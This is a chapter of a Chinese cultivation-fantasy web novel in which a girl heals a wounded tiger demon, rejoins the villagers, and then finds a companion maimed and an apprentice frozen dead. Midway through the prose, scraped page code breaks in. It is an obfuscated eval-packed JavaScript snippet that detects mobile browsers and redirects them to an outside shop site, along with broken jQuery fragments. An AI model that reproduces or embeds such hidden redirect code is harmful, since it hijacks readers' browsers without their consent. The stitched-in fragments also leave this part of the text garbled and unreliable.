月霜透过斑驳树影,女孩盘腿坐在一头身躯庞大的老虎身前,和它平分月色余晖。
李寻常双手支着下巴托起脑袋,黑黝黝的眼睛直勾勾地盯,自顾自地道:
“你可知道我村里的哥哥姐姐们,素日替我从镇上带小玩意儿照顾我的长辈们,都因为你的自作主张深陷危机了?你见识过杜老头的实力,一巴掌就将你打飞,若不是手下留情,你必然是要死的。好不容易修炼成妖,日后可以不断精进,难道你还想投胎转世,把自己的努力全部清空吗?”
不知才生灵智的虎妖对她的劝告能有几分理解能力,反正她尚在襁褓中时发生过什么,连记忆都没有了。
妖,应该和人还是有区别的吧?
她努力地给一只虎妖分析利弊:“你若是不侵扰我们村子里的人,以后杜老头也不会来打扰你了,你就可以安心修炼。你很舍不得自己的修为吧,我很理解你,所以想告诉你这些事情。你和我们,就互不干扰好不好?我们村子里的人没有对你做过什么事,大家本就避之不及……”
极重的鼻息自老虎湿润润的鼻头里挤出来。
像是在发泄不满。
她眨眨眼,稍作思量便倾耳凑前去听:“你有什么要说的吗?”
老虎再度重哼。
她苦恼地道:“我不懂你的意思……”
虎妖从没见过这样愚笨的人类。
谁见过一头刚修炼的妖会说话的?!它要不是只能吼叫,非得骂一骂这个人族小孩。
一人一妖面面相觑,它逐渐变得焦躁,像是在承受痛苦般。
李寻常恍然大悟:“你受伤了。”
谢天谢地,当然不仅仅是这件事。尽管虎妖开智时日极短,可听着人类行走深山一遍遍的交谈,耳濡目染,学着人类的情绪表达和字音的相关联,总能学习人类,将其化为己用——这不代表它已经完全学会他们的语言,并能全部理解。
跟前的小女孩喋喋不休地念叨,它拼命想跟上女孩说的那些无厘头的东西,结果一无所获。它唯一能感知到的,是对方或许真的在向它表露善意。
它记得这人类幼孩是怎么滚过来的,狼狈不堪,身上还有血味。没错,血的味道。
它的眼瞳渐渐猩红一片。
下一秒,有一巴掌扇到它脸上去。
准确来说,应该是嘴巴。
十岁的小孩手不大,但劲莫名大,一掌抽嘴上,虎妖突然就清醒了。
李寻常后怕不已。
她刚刚差点就成这虎妖的盘中餐了。
被这样的庞然大物用猩红的眼睛死死盯住,像是对猎物的耐心,目光始终分寸不离,要跟她比谁对视得久。
谁先动,谁就会先落入下风,棋差一招。
得亏杜老头下手是真的狠,把虎妖都打个晕头转向的,反应慢吞吞。
她寒毛卓竖,顷刻间就做出反应。
境界相似的情况下,人族的身体孱弱,与妖族不可相比拟。好在她顺道修了炼体,比普通炼气修士的筋骨要强健,速度无声息地提高了。
她警告道:“我给你治疗,你可不能偷偷伤我。”
至于具体怎么疗伤……听说水灵根和木灵根搭配会有不错的效果?
老虎厚重的皮毛下,一道深红的暗色灼伤正烙在其中,足以窥见内里的烂肉。她把手掌放上去集中精神,闭眼磕磕绊绊地依着功法中两种灵根在经脉的路径循环。
【木表生息,而水可生木,因此以木为主,辅以水可促进血肉的恢复生长。】系统耐心地指导她。
虎妖心有怀疑这么小的孩子对灵力能掌握到什么程度——虽说它也只是个刚修炼不久的妖,但总要比一个小孩活得久。
用起灵力时,李寻常不再说话了。
光是维持这其中的调度,就已经耗费她全部注意。
沉默维持好一会儿,她满头大汗,细致地观察原先的伤口处。
薄薄的绿膜覆盖在伤处,瞧不出什么变化。
她小声质疑:【这有用吗?】
系统道:【……你的修为太低,灵根不够纯粹,杂质过多,效果自然就弱化了。】
哦。
“我要怎么叫你呢……你要是不想回答我的话,那你就告诉我,你答不答应往后不再找大家的麻烦?”她的安静只维持短短片刻,立刻又侧头看向卧倒的虎妖,“我叫你虎哥怎么样?虎哥,你要是答应的话,就抬下脑袋好不好?”
女孩目光灼灼,满眼希冀的期待,大有要不应下就接着叨扰的意图。
虎妖打算等伤势恢复好了,就教教这小孩什么叫山中霸王的威慑力。它不屑地抬抬头,立刻转过去。
李寻常展颜笑道:“谢谢虎哥高抬贵首啦。明日再来看你怎么样呀?你有什么需要的,我到时给你带来……那种有根绳吊起来小玩意儿的玩具你可想要?”
它怀疑自己被当猫养了。
人族小孩没有接着烦它。
最好明日也不来了,少烦它。
李寻常往回走。
临时扎营处,观察狼群行动的宗衍发现狼群的动向在往后慢慢地退,当即喊道:“王茂,你来看!”
王茂赶过来这会儿,大半的狼群正退回山林深处:“这是……主动退走了?”
“再等会儿时候,看看是否为假象。一经确认,我们马上就能下山了!”他的声音里带着不易觉察的激动。
没人想真的在深山老林中度过一日。
一个接一个的村民们都围了上来,紧张扫视四周。
嘎吱。
跫音踩在干枯的树枝上,一道急促的脚步声和呼吸声自看不见的树木中传出。王茂举起火把,双目眯起,众人紧盯声音的源头——
人影叫月光勾勒瘦小的轮廓,微垂的两条小辫发尾一晃一晃地冲出来。
李寻常气喘吁吁地弯腰扶着膝盖,一双明眸亮晶晶地弯起:“王茂哥、宗衍哥,还有大家——可以出来啦,狼群已经散掉了!”
“小妹?”见到她的王茂先是诧异,再是紧张地上前抓起她的胳膊,“你怎么受伤了?发生什么事了?”
王茂这话一出,宗衍立刻从他那儿接过女孩的胳膊,忧色舒展:“皮外伤,涂些药就好。”
即使有宗衍这番话,众人还是一句接一句地关心,给李寻常递药、干粮,还有不知哪儿摘来的红果:“寻常丫头你怎从里头出来了?有没有被吓着?那位法力高强的前辈跟着你,怎还受皮外伤……”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810344|210806||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“我没事、我没事啦——”她手忙脚乱地边笑边解释。
她在村民们的簇拥里下山。
杜老头唏嘘地传音道:“想不到那小畜牲还真听了你的话。”
她得意地扬眉,抬头望向顶上的茂密枝叶。
“得意忘形。”杜老头无奈摇头,侧目投向虎妖休养之地。
李寻常回了村子道别大家,拔腿直奔医馆满院艾草。
“二哥、扶玉……”
她轻手轻脚地推门,甫一开口,音未落,先被砭骨的寒气刺得打一激灵。糟糕,二哥一个凡人,要是沾着扶玉那身寒气,岂不是要变成山上的冰雕直到死吗?
棕影一晃,风一撞开,屋内的景象将她惊在原地。
一截截的冰柱自天花板的角落伸长了手臂,犹如抓住门口冰雕的四肢,拦腰而断,冻出嶙峋紫皮裹糜烂。赤红的冰花尖滴出黏连的血丝,变成纤细的冰锥,停在半空。
她一呼一吸,白雾凝霜落。
她僵硬地,想要往里走,想看清这座冰雕是谁。
杜老头神出鬼没,捏住她的肩。
她倒腾了两下,走不动道。她的鼻音很重:“杜老头,你让我进去。”
杜老头道:“柳二不在里面。”
“还有扶玉,还有冰雕里的那个人……”杜老头的回答安抚了她,却很快又有别的念头占据,她攥紧杜老头的衣袖,“你不让我进去,你代我进去。”
“哪有这么麻烦?”杜老头抬手,指尖轻点,引火成线迅速地钻到冰面,一路往前,铺满整个屋子。
他随意地一勾指,松开捏住李寻常肩膀的手:“收。”
火飞回他的手指里,屋子没有半点被火焰烧过的痕迹。这困扰柳二等人许久的冰,轻而易举融化了。冰雕内的人倒在水中,不知死活。
“去吧。”
李寻常怔愣原地,如梦初醒。
浓烈的血味往她的鼻腔里死命地钻,她像酿在陈酒中,熏得她晕乎。
扶玉倒在靠门的墙边,满身血污,伤上加伤。他的身旁掉落的裹帘仅剩碎块,指骨生于烂肉间,本就纤细的脖颈深深的青紫凹陷,几乎快比她手腕还细,满是拧皱的纹。
李寻常蹲下身,手指碰到的地方都有不同程度的断裂。胸口、腹腔……她摸到坚硬的冷冽隔着皮肉溜进她的手中经脉,发着抖。她的胃里突然翻江倒海,一股股恶心涌上咽喉,她想吐,却吐不出来。
就算是她,亦能自其中读出泄愤的味道。
她想起屋子里的冰雕,她缓缓起身。
是被空气里的寒冷影响到了吗?她总觉得,自己的血都是冷的。分明杜老头已经用火驱散了冰寒,她怎么会感知不到暖意?
她走近躺在水洼里的人。
她低下头去看那张脸。
——是黄姨手下的药童。
她和药童这两日见过很多面,她知道药童三年前就跟着黄姨了,是黄姨一手教大的。
她也认识他。
他会腼腆地和她说话,毫无怨言地帮忙收拾屋里的烂摊子,接手本该是她来负责的二哥的换药,跟她讲不在时村里发生的事,甚至陪着她高兴二哥的恢复。
李寻常散去手中的灵力。